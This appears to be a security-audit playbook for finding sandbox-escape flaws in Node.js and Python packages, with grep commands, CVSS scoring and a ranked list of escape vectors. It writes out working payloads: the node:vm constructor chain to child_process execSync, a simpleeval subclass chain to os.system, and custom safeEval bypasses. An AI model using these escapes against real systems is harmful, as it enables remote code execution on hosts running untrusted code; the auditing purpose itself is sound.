Sandbox Escape Detection

When to Use

Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code.

Key Insight

node:vm is NOT a security mechanism. The Node.js documentation explicitly states this. Constructor chains ALWAYS escape the sandbox. If a package uses vm.runInNewContext() to isolate untrusted code, it is vulnerable.

The Constructor Chain (node:vm)

The fundamental escape from node:vm:

// Inside vm.runInNewContext({}, {}):
this.constructor.constructor('return process')()
// Returns the real process object from the host

Then achieve RCE:

const process = this.constructor.constructor('return process')();
process.mainModule.require('child_process').execSync('id').toString();

Why This Works

1. this refers to the sandbox object
2. this.constructor is Object (from the outer realm)
3. Object.constructor is Function (from the outer realm)
4. Function('return process')() executes in the outer realm
5. process gives access to require and the full Node.js API

Process

Step 1: Find Sandbox Usage

# node:vm
grep -rn "require.*vm.*\|from.*vm" . --include="*.js" --include="*.ts"
grep -rn "vm\.runIn\|vm\.createContext\|vm\.Script\|vm\.compileFunction" .
grep -rn "new Script\|runInNewContext\|runInThisContext\|runInContext" .

# vm2 (deprecated)
grep -rn "require.*vm2\|from.*vm2\|new VM(\|new NodeVM(" .

# Python sandboxes
grep -rn "simpleeval\|SimpleEval\|EvalWithCompoundTypes" .
grep -rn "RestrictedPython\|compile_restricted" .
grep -rn "ast\.literal_eval" .

# Custom sandboxes
grep -rn "sandbox\|safeEval\|safe_eval\|secure_eval" .

Step 2: Identify the Sandbox Mechanism

Step 3: Test Escape Vectors

For node:vm, try these in order:

1. Constructor chain: this.constructor.constructor('return process')()
2. arguments.callee.caller (if in function context)
3. Error stack inspection
4. Proxy/Reflect objects (if available in sandbox)
5. Symbol.hasInstance override
6. Dynamic import() (if supported)

For Python, try:

1. ().__class__.__base__.__subclasses__() -- access all loaded classes
2. ''.__class__.__mro__[1].__subclasses__() -- string class hierarchy
3. Function object access: func.__globals__, func.__code__
4. __builtins__ access through various chains

Step 4: Check for Mitigations

grep -rn "freeze\|preventExtensions\|defineProperty" .  # Object hardening
grep -rn "Proxy\|handler\|revocable" .  # Proxy-based protection
grep -rn "whitelist\|allowlist\|blocklist" .  # Function filtering

Common Escape Patterns

Pattern 1: node:vm Direct Escape

const vm = require('vm');
const sandbox = {};
vm.runInNewContext('this.constructor.constructor("return process")()', sandbox);
// Returns the real process object

Pattern 2: Python simpleeval Class Hierarchy

from simpleeval import simple_eval
# Access os module through class hierarchy
simple_eval("().__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].system('id')")

Pattern 3: Custom Sandbox Bypass

// Custom "safe" eval that blocks require/process/global
function safeEval(code) {
  return new Function('require', 'process', 'global', code)(undefined, undefined, undefined);
}
// Bypass: arguments.callee.caller gives access to outer scope
// Or: this.constructor.constructor('return process')()

CVSS Guidance

• Sandbox escape to RCE (unauthenticated): CRITICAL 9.8-9.9
• Sandbox escape to RCE (authenticated): HIGH 8.8
• Sandbox escape with limited impact: HIGH 7.5
• node:vm used for security = always CRITICAL (it is not a security mechanism)

References

• Sinks -- Sandbox mechanisms and escape patterns
• False Positive Indicators -- When escape is blocked
• PoC Skeleton -- Sandbox escape PoC templates